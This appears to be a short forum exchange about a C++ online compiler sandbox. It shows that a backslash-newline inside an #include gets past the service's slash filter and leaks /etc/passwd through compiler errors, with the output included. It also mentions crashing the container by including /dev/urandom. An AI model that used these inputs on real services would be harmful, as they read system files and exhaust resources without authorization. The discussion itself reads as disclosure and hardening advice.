It's something I use to measure certain things, like how many instructions does a C++ exception add etc.
It's run in a docker container, and I think I strip out any slashes from includes. I'm pretty sure the container is not executing stuff as root as well. Still, probably not bulletproof.
I tried `#include </dev/urandom>` and it eventually crashes the container failing to allocate memory (looks like they have a 4GB limit?)
#include "\
/etc/passwd"
program221/code.cpp:1:11: warning: backslash-newline at end of file
1 | #include "\
|
In file included from program221/code.cpp:2:
/etc/passwd:1:5: error: found ':' in nested-name-specifier, expected '::'
1 | root:x:0:0:root:/root:/bin/bash
| ^
| ::
/etc/passwd:1:1: error: 'root' does not name a type
1 | root:x:0:0:root:/root:/bin/bash
| ^~~~
chroot into a build environment